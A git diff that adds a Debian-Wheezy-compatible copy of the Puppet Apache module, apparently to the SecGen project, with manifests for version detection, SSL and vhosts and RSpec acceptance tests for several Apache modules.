a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/python.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/python.pp new file mode 100644 index 000000000..723a753f8 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/python.pp @@ -0,0 +1,18 @@ +# Class: apache::python +# +# This class installs Python for Apache +# +# Parameters: +# - $php_package +# +# Actions: +# - Install Apache Python package +# +# Requires: +# +# Sample Usage: +# +class apache::python { + warning('apache::python is deprecated; please use apache::mod::python') + include ::apache::mod::python +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/security/rule_link.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/security/rule_link.pp new file mode 100644 index 000000000..7edb1f442 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/security/rule_link.pp @@ -0,0 +1,18 @@ +define apache::security::rule_link () { + + $parts = split($title, '/') + $filename = $parts[-1] + + $target = $title ? { + /^\// => $title, + default => "${::apache::params::modsec_crs_path}/${title}", + } + + file { $filename: + ensure => 'link', + path => "${::apache::mod::security::modsec_dir}/activated_rules/${filename}", + target => $target , + require => File["${::apache::mod::security::modsec_dir}/activated_rules"], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache/manifests/service.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/service.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/service.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/service.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/ssl.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/ssl.pp new file mode 100644 index 000000000..d0b36593d --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/ssl.pp @@ -0,0 +1,18 @@ +# Class: apache::ssl +# +# This class installs Apache SSL capabilities +# +# Parameters: +# - The $ssl_package name from the apache::params class +# +# Actions: +# - Install Apache SSL capabilities +# +# Requires: +# +# Sample Usage: +# +class apache::ssl { + warning('apache::ssl is deprecated; please use apache::mod::ssl') + include ::apache::mod::ssl +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/version.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/version.pp new file mode 100644 index 000000000..2d33a5f4f --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/version.pp @@ -0,0 +1,49 @@ +# Class: apache::version +# +# Try to automatically detect the version by OS +# +class apache::version { + # This will be 5 or 6 on RedHat, 6 or wheezy on Debian, 12 or quantal on Ubuntu, etc. + $osr_array = split($::operatingsystemrelease,'[\/\.]') + $distrelease = $osr_array[0] + if ! $distrelease { + fail("Class['apache::version']: Unparsable \$::operatingsystemrelease: ${::operatingsystemrelease}") + } + + case $::osfamily { + 'RedHat': { + if ($::operatingsystem == 'Amazon') { + $default = '2.2' + } elsif ($::operatingsystem == 'Fedora' and versioncmp($distrelease, '18') >= 0) or ($::operatingsystem != 'Fedora' and versioncmp($distrelease, '7') >= 0) { + $default = '2.4' + } else { + $default = '2.2' + } + } + 'Debian': { + if $::operatingsystem == 'Ubuntu' and versioncmp($::operatingsystemrelease, '13.10') >= 0 { + $default = '2.4' + } elsif $::operatingsystem == 'Debian' and versioncmp($distrelease, '8') >= 0 { + $default = '2.4' + } else { + $default = '2.2' + } + } + 'FreeBSD': { + $default = '2.4' + } + 'Gentoo': { + $default = '2.4' + } + 'Suse': { + if $::operatingsystem == 'SLES' and $::operatingsystemrelease >= '12' { + $default = '2.4' + } else { + $default = '2.2' + } + } + default: { + fail("Class['apache::version']: Unsupported osfamily: ${::osfamily}") + } + } +} diff --git a/modules/services/unix/http/apache/manifests/vhost.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/vhost.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/vhost.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/vhost.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/vhost/custom.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/vhost/custom.pp new file mode 100644 index 000000000..cfb06c273 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/vhost/custom.pp @@ -0,0 +1,40 @@ +# See README.md for usage information +define apache::vhost::custom( + $content, + $ensure = 'present', + $priority = '25', + $verify_config = true, +) { + include ::apache + + ## Apache include does not always work with spaces in the filename + $filename = regsubst($name, ' ', '_', 'G') + + ::apache::custom_config { $filename: + ensure => $ensure, + confdir => $::apache::vhost_dir, + content => $content, + priority => $priority, + verify_config => $verify_config, + } + + # NOTE(pabelanger): This code is duplicated in ::apache::vhost and needs to + # converted into something generic. + if $::apache::vhost_enable_dir { + $vhost_symlink_ensure = $ensure ? { + present => link, + default => $ensure, + } + + file { "${priority}-${filename}.conf symlink": + ensure => $vhost_symlink_ensure, + path => "${::apache::vhost_enable_dir}/${priority}-${filename}.conf", + target => "${::apache::vhost_dir}/${priority}-${filename}.conf", + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + require => Apache::Custom_config[$filename], + notify => Class['apache::service'], + } + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/vhosts.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/vhosts.pp new file mode 100644 index 000000000..cf212c4b1 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/vhosts.pp @@ -0,0 +1,6 @@ +class apache::vhosts ( + $vhosts = {}, +) { + include ::apache + create_resources('apache::vhost', $vhosts) +} diff --git a/modules/services/unix/http/apache/metadata.json b/modules/services/unix/http/apache_wheezy_compatible/apache/metadata.json similarity index 100% rename from modules/services/unix/http/apache/metadata.json rename to modules/services/unix/http/apache_wheezy_compatible/apache/metadata.json diff --git a/modules/services/unix/http/apache/secgen_metadata.xml b/modules/services/unix/http/apache_wheezy_compatible/apache/secgen_metadata.xml similarity index 86% rename from modules/services/unix/http/apache/secgen_metadata.xml rename to modules/services/unix/http/apache_wheezy_compatible/apache/secgen_metadata.xml index 381d40b64..5957f3b55 100644 --- a/modules/services/unix/http/apache/secgen_metadata.xml +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/secgen_metadata.xml @@ -3,8 +3,9 @@ - Apache HTTP Server + Apache HTTP Server - Wheezy Compatible Connor Wilson + Thomas Shaw Puppet Labs Apache v2 An installation of Apache @@ -22,6 +23,9 @@ apache + + Kali + update diff --git a/modules/services/unix/http/apache/spec/acceptance/apache_parameters_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/apache_parameters_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/apache_parameters_spec.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/apache_parameters_spec.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/apache_ssl_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/apache_ssl_spec.rb new file mode 100644 index 000000000..5df551a41 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/apache_ssl_spec.rb @@ -0,0 +1,94 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +describe 'apache ssl' do + + describe 'ssl parameters' do + it 'runs without error' do + pp = <<-EOS + class { 'apache': + service_ensure => stopped, + default_ssl_vhost => true, + default_ssl_cert => '/tmp/ssl_cert', + default_ssl_key => '/tmp/ssl_key', + default_ssl_chain => '/tmp/ssl_chain', + default_ssl_ca => '/tmp/ssl_ca', + default_ssl_crl_path => '/tmp/ssl_crl_path', + default_ssl_crl => '/tmp/ssl_crl', + default_ssl_crl_check => 'chain', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/15-default-ssl.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'SSLCertificateFile "/tmp/ssl_cert"' } + it { is_expected.to contain 'SSLCertificateKeyFile "/tmp/ssl_key"' } + it { is_expected.to contain 'SSLCertificateChainFile "/tmp/ssl_chain"' } + it { is_expected.to contain 'SSLCACertificateFile "/tmp/ssl_ca"' } + it { is_expected.to contain 'SSLCARevocationPath "/tmp/ssl_crl_path"' } + it { is_expected.to contain 'SSLCARevocationFile "/tmp/ssl_crl"' } + if $apache_version == '2.4' + it { is_expected.to contain 'SSLCARevocationCheck "chain"' } + else + it { is_expected.not_to contain 'SSLCARevocationCheck' } + end + end + end + + describe 'vhost ssl parameters' do + it 'runs without error' do + pp = <<-EOS + class { 'apache': + service_ensure => stopped, + } + + apache::vhost { 'test_ssl': + docroot => '/tmp/test', + ssl => true, + ssl_cert => '/tmp/ssl_cert', + ssl_key => '/tmp/ssl_key', + ssl_chain => '/tmp/ssl_chain', + ssl_ca => '/tmp/ssl_ca', + ssl_crl_path => '/tmp/ssl_crl_path', + ssl_crl => '/tmp/ssl_crl', + ssl_crl_check => 'chain', + ssl_certs_dir => '/tmp', + ssl_protocol => 'test', + ssl_cipher => 'test', + ssl_honorcipherorder => 'test', + ssl_verify_client => 'test', + ssl_verify_depth => 'test', + ssl_options => ['test', 'test1'], + ssl_proxyengine => true, + ssl_proxy_protocol => 'TLSv1.2', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test_ssl.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'SSLCertificateFile "/tmp/ssl_cert"' } + it { is_expected.to contain 'SSLCertificateKeyFile "/tmp/ssl_key"' } + it { is_expected.to contain 'SSLCertificateChainFile "/tmp/ssl_chain"' } + it { is_expected.to contain 'SSLCACertificateFile "/tmp/ssl_ca"' } + it { is_expected.to contain 'SSLCARevocationPath "/tmp/ssl_crl_path"' } + it { is_expected.to contain 'SSLCARevocationFile "/tmp/ssl_crl"' } + it { is_expected.to contain 'SSLProxyEngine On' } + it { is_expected.to contain 'SSLProtocol test' } + it { is_expected.to contain 'SSLCipherSuite test' } + it { is_expected.to contain 'SSLHonorCipherOrder test' } + it { is_expected.to contain 'SSLVerifyClient test' } + it { is_expected.to contain 'SSLVerifyDepth test' } + it { is_expected.to contain 'SSLOptions test test1' } + if $apache_version == '2.4' + it { is_expected.to contain 'SSLCARevocationCheck "chain"' } + else + it { is_expected.not_to contain 'SSLCARevocationCheck' } + end + end + end + +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/class_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/class_spec.rb new file mode 100644 index 000000000..d67b1a878 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/class_spec.rb @@ -0,0 +1,89 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +describe 'apache class' do + context 'default parameters' do + let(:pp) { "class { 'apache': }" } + + it_behaves_like "a idempotent resource" + + describe 'apache_version fact' do + before :all do + apply_manifest("include apache", :catch_failures => true) + version_check_pp = <<-EOS + notice("apache_version = >${apache_version}<") + EOS + @result = apply_manifest(version_check_pp, :catch_failures => true) + end + + it { + expect(@result.output).to match(/apache_version = >#{$apache_version}.* 'policycoreutils', + default => 'policycoreutils-python', + } + + package { $semanage_package: ensure => installed } + exec { 'set_apache_defaults': + command => 'semanage fcontext -a -t httpd_sys_content_t "/apache_spec(/.*)?"', + path => '/bin:/usr/bin/:/sbin:/usr/sbin', + subscribe => Package[$semanage_package], + refreshonly => true, + } + exec { 'restorecon_apache': + command => 'restorecon -Rv /apache_spec', + path => '/bin:/usr/bin/:/sbin:/usr/sbin', + before => Service['httpd'], + require => Class['apache'], + subscribe => Exec['set_apache_defaults'], + refreshonly => true, + } + } + file { '/apache_spec': ensure => directory, } + file { '/apache_spec/apache_custom': ensure => directory, } + class { 'apache': + mod_dir => '/apache_spec/apache_custom/mods', + vhost_dir => '/apache_spec/apache_custom/vhosts', + } + EOS + end + + # Run it twice and test for idempotency + it_behaves_like "a idempotent resource" + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/custom_config_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/custom_config_spec.rb new file mode 100644 index 000000000..c8e254e85 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/custom_config_spec.rb @@ -0,0 +1,94 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +describe 'apache::custom_config define' do + context 'invalid config' do + it 'should not add the config' do + pp = <<-EOS + class { 'apache': } + apache::custom_config { 'acceptance_test': + content => 'INVALID', + } + EOS + + apply_manifest(pp, :expect_failures => true) + end + + describe file("#{$confd_dir}/25-acceptance_test.conf") do + it { is_expected.not_to be_file } + end + end + + context 'valid config' do + it 'should add the config' do + pp = <<-EOS + class { 'apache': } + apache::custom_config { 'acceptance_test': + content => '# just a comment', + } + EOS + + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$confd_dir}/25-acceptance_test.conf") do + it { is_expected.to contain '# just a comment' } + end + end + + context 'with a custom filename' do + it 'should store content in the described file' do + pp = <<-EOS + class { 'apache': } + apache::custom_config { 'filename_test': + filename => 'custom_filename', + content => '# just another comment', + } + EOS + + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$confd_dir}/custom_filename") do + it { is_expected.to contain '# just another comment' } + end + end + + describe 'custom_config without priority prefix' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + apache::custom_config { 'prefix_test': + priority => false, + content => '# just a comment', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$confd_dir}/prefix_test.conf") do + it { is_expected.to be_file } + end + end + + describe 'custom_config only applied after configs are written' do + it 'applies in the right order' do + pp = <<-EOS + class { 'apache': } + + apache::custom_config { 'ordering_test': + content => '# just a comment', + } + + # Try to wedge the apache::custom_config call between when httpd.conf is written and + # ports.conf is written. This should trigger a dependency cycle + File["#{$conf_file}"] -> Apache::Custom_config['ordering_test'] -> Concat["#{$ports_file}"] + EOS + expect(apply_manifest(pp, :expect_failures => true).stderr).to match(/Found 1 dependency cycle/i) + end + + describe file("#{$confd_dir}/25-ordering_test.conf") do + it { is_expected.not_to be_file } + end + end +end diff --git a/modules/services/unix/http/apache/spec/acceptance/default_mods_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/default_mods_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/default_mods_spec.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/default_mods_spec.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/itk_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/itk_spec.rb new file mode 100644 index 000000000..059589a3f --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/itk_spec.rb @@ -0,0 +1,60 @@ +require 'spec_helper_acceptance' + +case fact('osfamily') +when 'Debian' + service_name = 'apache2' + majrelease = fact('operatingsystemmajrelease') + if ['6', '7', '10.04', '12.04'].include?(majrelease) + variant = :itk_only + else + variant = :prefork + end +when 'RedHat' + unless fact('operatingsystemmajrelease') == '5' + service_name = 'httpd' + majrelease = fact('operatingsystemmajrelease') + if ['6'].include?(majrelease) + variant = :itk_only + else + variant = :prefork + end + end +when 'FreeBSD' + service_name = 'apache24' + majrelease = fact('operatingsystemmajrelease') + variant = :prefork +end + +describe 'apache::mod::itk class', :if => service_name do + describe 'running puppet code' do + # Using puppet_apply as a helper + let(:pp) do + case variant + when :prefork + <<-EOS + class { 'apache': + mpm_module => 'prefork', + } + class { 'apache::mod::itk': } + EOS + when :itk_only + <<-EOS + class { 'apache': + mpm_module => 'itk', + } + EOS + end + end + # Run it twice and test for idempotency + it_behaves_like "a idempotent resource" + end + + describe service(service_name) do + it { is_expected.to be_running } + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_dav_svn_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_dav_svn_spec.rb new file mode 100644 index 000000000..2b1522509 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_dav_svn_spec.rb @@ -0,0 +1,63 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +describe 'apache::mod::dav_svn class', :unless => (fact('operatingsystem') == 'OracleLinux' and fact('operatingsystemmajrelease') == '7') || (fact('operatingsystem') == 'SLES' and fact('operatingsystemmajorrelease') < '11') do + case fact('osfamily') + when 'Debian' + if fact('operatingsystemmajrelease') == '6' or fact('operatingsystemmajrelease') == '10.04' or fact('operatingsystemrelease') == '10.04' or fact('operatingsystemmajrelease') == '16.04' + authz_svn_load_file = 'dav_svn_authz_svn.load' + else + authz_svn_load_file = 'authz_svn.load' + end + else + authz_svn_load_file = 'dav_svn_authz_svn.load' + end + + context "default dav_svn config" do + it 'succeeds in puppeting dav_svn' do + pp= <<-EOS + class { 'apache': } + include apache::mod::dav_svn + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$mod_dir}/dav_svn.load") do + it { is_expected.to contain "LoadModule dav_svn_module" } + end + end + + context "dav_svn with enabled authz_svn config" do + it 'succeeds in puppeting dav_svn' do + pp= <<-EOS + class { 'apache': } + class { 'apache::mod::dav_svn': + authz_svn_enabled => true, + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$mod_dir}/#{authz_svn_load_file}") do + it { is_expected.to contain "LoadModule authz_svn_module" } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_deflate_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_deflate_spec.rb new file mode 100644 index 000000000..1b55e087a --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_deflate_spec.rb @@ -0,0 +1,33 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +describe 'apache::mod::deflate class' do + context "default deflate config" do + it 'succeeds in puppeting deflate' do + pp= <<-EOS + class { 'apache': } + include apache::mod::deflate + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$mod_dir}/deflate.conf") do + it { is_expected.to contain "AddOutputFilterByType DEFLATE text/html text/plain text/xml" } + it { is_expected.to contain "AddOutputFilterByType DEFLATE text/css" } + it { is_expected.to contain "AddOutputFilterByType DEFLATE application/x-javascript application/javascript application/ecmascript" } + it { is_expected.to contain "AddOutputFilterByType DEFLATE application/rss+xml" } + it { is_expected.to contain "DeflateFilterNote Input instream" } + it { is_expected.to contain "DeflateFilterNote Output outstream" } + it { is_expected.to contain "DeflateFilterNote Ratio ratio" } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_fcgid_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_fcgid_spec.rb new file mode 100644 index 000000000..ce3b5b5b2 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_fcgid_spec.rb @@ -0,0 +1,57 @@ +require 'spec_helper_acceptance' + +describe 'apache::mod::fcgid class', :if => ((fact('osfamily') == 'RedHat' and fact('operatingsystemmajrelease') != '5') and !(fact('operatingsystem') == 'OracleLinux' and fact('operatingsystemmajrelease') == '7')) do + context "default fcgid config" do + it 'succeeds in puppeting fcgid' do + pp = <<-EOS + class { 'epel': } # mod_fcgid lives in epel + class { 'apache': } + class { 'apache::mod::php': } # For /usr/bin/php-cgi + class { 'apache::mod::fcgid': + options => { + 'FcgidIPCDir' => '/var/run/fcgidsock', + }, + } + apache::vhost { 'fcgid.example.com': + port => '80', + docroot => '/var/www/fcgid', + directories => { + path => '/var/www/fcgid', + options => '+ExecCGI', + addhandlers => { + handler => 'fcgid-script', + extensions => '.php', + }, + fcgiwrapper => { + command => '/usr/bin/php-cgi', + suffix => '.php', + } + }, + } + file { '/var/www/fcgid/index.php': + ensure => file, + owner => 'root', + group => 'root', + content => "\\n", + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service('httpd') do + it { is_expected.to be_enabled } + it { is_expected.to be_running } + end + + it 'should answer to fcgid.example.com' do + shell("/usr/bin/curl -H 'Host: fcgid.example.com' 127.0.0.1:80") do |r| + expect(r.stdout).to match(/^Hello world$/) + expect(r.exit_code).to eq(0) + end + end + + it 'should run a php-cgi process' do + shell("pgrep -u apache php-cgi", :acceptable_exit_codes => [0]) + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_mime_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_mime_spec.rb new file mode 100644 index 000000000..f8bc7c15c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_mime_spec.rb @@ -0,0 +1,30 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +describe 'apache::mod::mime class' do + context "default mime config" do + it 'succeeds in puppeting mime' do + pp= <<-EOS + class { 'apache': } + include apache::mod::mime + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$mod_dir}/mime.conf") do + it { is_expected.to contain "AddType application/x-compress .Z" } + it { is_expected.to contain "AddHandler type-map var\n" } + it { is_expected.to contain "AddType text/html .shtml\n" } + it { is_expected.to contain "AddOutputFilter INCLUDES .shtml\n" } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_negotiation_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_negotiation_spec.rb new file mode 100644 index 000000000..56c29e318 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_negotiation_spec.rb @@ -0,0 +1,78 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +describe 'apache::mod::negotiation class' do + context "default negotiation config" do + it 'succeeds in puppeting negotiation' do + pp= <<-EOS + class { '::apache': default_mods => false } + class { '::apache::mod::negotiation': } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$mod_dir}/negotiation.conf") do + it { should contain "LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no pl pt pt-BR ru sv zh-CN zh-TW +ForceLanguagePriority Prefer Fallback" } + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { should be_running } + end + end + + context "with alternative force_language_priority" do + it 'succeeds in puppeting negotiation' do + pp= <<-EOS + class { '::apache': default_mods => false } + class { '::apache::mod::negotiation': + force_language_priority => 'Prefer', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$mod_dir}/negotiation.conf") do + it { should contain "ForceLanguagePriority Prefer" } + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { should be_running } + end + end + + context "with alternative language_priority" do + it 'succeeds in puppeting negotiation' do + pp= <<-EOS + class { '::apache': default_mods => false } + class { '::apache::mod::negotiation': + language_priority => [ 'en', 'es' ], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$mod_dir}/negotiation.conf") do + it { should contain "LanguagePriority en es" } + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { should be_running } + end + end +end diff --git a/modules/services/unix/http/apache/spec/acceptance/mod_pagespeed_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_pagespeed_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/mod_pagespeed_spec.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_pagespeed_spec.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_passenger_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_passenger_spec.rb new file mode 100644 index 000000000..4761d2c5b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_passenger_spec.rb @@ -0,0 +1,208 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +describe 'apache::mod::passenger class' do + pending 'This cannot run in the same test run as apache::vhost with passenger + as the passenger.conf file is not yet managed by puppet and will be wiped out + between tests and not replaced' + case fact('osfamily') + when 'Debian' + conf_file = "#{$mod_dir}/passenger.conf" + load_file = "#{$mod_dir}/zpassenger.load" + + case fact('operatingsystem') + when 'Ubuntu' + case fact('lsbdistrelease') + when '10.04' + passenger_root = '/usr' + passenger_ruby = '/usr/bin/ruby' + when '12.04' + passenger_root = '/usr' + passenger_ruby = '/usr/bin/ruby' + when '14.04' + passenger_root = '/usr/lib/ruby/vendor_ruby/phusion_passenger/locations.ini' + passenger_ruby = '/usr/bin/ruby' + passenger_default_ruby = '/usr/bin/ruby' + when '16.04' + passenger_root = '/usr/lib/ruby/vendor_ruby/phusion_passenger/locations.ini' + passenger_ruby = '/usr/bin/ruby' + passenger_default_ruby = '/usr/bin/ruby' + else + # This may or may not work on Ubuntu releases other than the above + passenger_root = '/usr' + passenger_ruby = '/usr/bin/ruby' + end + when 'Debian' + case fact('lsbdistcodename') + when 'wheezy' + passenger_root = '/usr' + passenger_ruby = '/usr/bin/ruby' + when 'jessie' + passenger_root = '/usr/lib/ruby/vendor_ruby/phusion_passenger/locations.ini' + passenger_ruby = '/usr/bin/ruby' + passenger_default_ruby = '/usr/bin/ruby' + else + # This may or may not work on Debian releases other than the above + passenger_root = '/usr' + passenger_ruby = '/usr/bin/ruby' + end + end + + passenger_module_path = '/usr/lib/apache2/modules/mod_passenger.so' + rackapp_user = 'www-data' + rackapp_group = 'www-data' + when 'RedHat' + conf_file = "#{$mod_dir}/passenger.conf" + load_file = "#{$mod_dir}/zpassenger.load" + # sometimes installs as 3.0.12, sometimes as 3.0.19 - so just check for the stable part + passenger_root = '/usr/lib/ruby/vendor_ruby/phusion_passenger/locations.ini' + passenger_ruby = '/usr/bin/ruby' + passenger_module_path = 'modules/mod_passenger.so' + rackapp_user = 'apache' + rackapp_group = 'apache' + end + + pp_rackapp = <<-EOS + /* a simple ruby rack 'hello world' app */ + file { '/var/www/passenger': + ensure => directory, + owner => '#{rackapp_user}', + group => '#{rackapp_group}', + } + file { '/var/www/passenger/config.ru': + ensure => file, + owner => '#{rackapp_user}', + group => '#{rackapp_group}', + content => "app = proc { |env| [200, { \\"Content-Type\\" => \\"text/html\\" }, [\\"hello world\\"]] }\\nrun app", + } + apache::vhost { 'passenger.example.com': + port => '80', + docroot => '/var/www/passenger/public', + docroot_group => '#{rackapp_group}', + docroot_owner => '#{rackapp_user}', + require => File['/var/www/passenger/config.ru'], + } + host { 'passenger.example.com': ip => '127.0.0.1', } + EOS + + case fact('osfamily') + when 'Debian' + context "default passenger config" do + it 'succeeds in puppeting passenger' do + pp = <<-EOS + /* stock apache and mod_passenger */ + class { 'apache': } + class { 'apache::mod::passenger': } + #{pp_rackapp} + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file(conf_file) do + it { is_expected.to contain "PassengerRoot \"#{passenger_root}\"" } + + case fact('operatingsystem') + when 'Ubuntu' + case fact('lsbdistrelease') + when '10.04' + it { is_expected.to contain "PassengerRuby \"#{passenger_ruby}\"" } + it { is_expected.not_to contain "/PassengerDefaultRuby/" } + when '12.04' + it { is_expected.to contain "PassengerRuby \"#{passenger_ruby}\"" } + it { is_expected.not_to contain "/PassengerDefaultRuby/" } + when '14.04' + it { is_expected.to contain "PassengerDefaultRuby \"#{passenger_ruby}\"" } + it { is_expected.not_to contain "/PassengerRuby/" } + when '16.04' + it { is_expected.to contain "PassengerDefaultRuby \"#{passenger_ruby}\"" } + it { is_expected.not_to contain "/PassengerRuby/" } + else + # This may or may not work on Ubuntu releases other than the above + it { is_expected.to contain "PassengerRuby \"#{passenger_ruby}\"" } + it { is_expected.not_to contain "/PassengerDefaultRuby/" } + end + when 'Debian' + case fact('lsbdistcodename') + when 'wheezy' + it { is_expected.to contain "PassengerRuby \"#{passenger_ruby}\"" } + it { is_expected.not_to contain "/PassengerDefaultRuby/" } 